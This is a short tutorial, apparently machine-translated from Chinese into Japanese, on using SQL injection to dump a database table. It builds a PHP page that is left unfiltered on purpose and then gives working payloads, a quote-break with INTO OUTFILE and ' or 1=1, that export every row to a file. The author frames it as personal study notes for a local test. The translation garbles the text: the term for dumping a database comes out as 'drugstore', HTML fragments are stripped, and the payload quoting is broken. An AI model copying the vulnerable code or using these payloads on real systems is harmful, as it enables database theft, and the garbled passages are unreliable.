SQLを使用して脆弱性ドラッグストアを注入する方法

2961 ワード

ローカルでテストしたい場合は、ここでポイントなしでダウンロードできます:SQLを利用して脆弱性のドラッグストアを注入します
前の記事と同様に、テストのためにデータテーブルを作成し、テーブルにいくつかのデータを出入りする必要があります.
データベースにテーブルを作成します.
 
  
CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

テーブルにデータを挿入する操作はコードを貼らないで、ダウンロードして直接データベースにインポートすることができます.
次に、ユーザーの要求を処理するページを書きます.ここでは、ユーザーが提出したデータをフィルタしないで、SQL注入ホールを残してテストします.
コードは次のとおりです.
 
  
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die (" ");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "

SQL

";
if (!$row){
echo " ";
exit;
}
echo "
".$row['title']."

";
echo "
".$row['content']."

";
?>


ブラウザに直接入力します.
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
articleテーブルのidが1のレコードにアクセスできます
アクセス結果は次のとおりです.
次に、この脆弱性(脆弱性が分からない場合は、ツール+手動検出のみ)を利用して、articleテーブルをダウンロードする方法を説明します.
アドレスバーに「into outfile」e:/sqlと入力します.txt'%23
分析:%23は#のASCIIコードで、アドレスバーに直接#を入力するとデータベースシステムに空になるため、アドレスバーに%23を入力する必要があり、それでは#になり、さらに後ろのsql文を注釈します.
実行後、Eディスクを開くと、sqlが1つ増えた.txtファイル、開くと、中にはテーブルarticleのレコードがあります.
なぜ記録が1つしかないのですか?まさかこのデータテーブルには1つの記録しかありませんか?そうではありません.idが1のレコードだけを検索するので、articleテーブルのすべてのレコードを一度にすべてダウンロードできますか?
答えは可能です.あなたが構築したSQL文が十分に柔軟であれば(SQL文を構築する柔軟性を再提案しました).
解析すると、URLアドレスバーに「into outfile」e:/sqlと入力.txt'%23の場合、sqlクエリ文にマージすると次のようになります.
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
よく分析すると、SQL文をこのように構築することができます.
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
このようにすると,どうしてもWHERE句は真であり,言い換えれば,このsql文は次のように等価である.
SELECT * FROM article into outfile 'e:/whf.txt'#'
わかりました.このsql文はselect文を先に実行し、テーブルarticleの中のだから内容をすべて検索してからinto outfile'e:/whfを実行します.txt'#'はコンテンツを導出します.
信じないなら、実行してください.
SQLに脆弱性を注入することで,表名,列名,ユーザのパスワード長(LEFT関数)などを推測することができるが,もちろん,以上のプレゼンテーションのように表中のデータをすべてエクスポートできれば,表名などを推測する必要はない.
ちょっと疲れたので、ここまで書きました.
SQLを利用して脆弱性を注入してバックグラウンドにログインして、SQLを利用して脆弱性を注入してライブラリをドラッグするのは私が関連する内容を勉強した後の少しの結び目で、深さがなくて、文章の冒頭で言ったように、権当は総括して、他に意味がありません.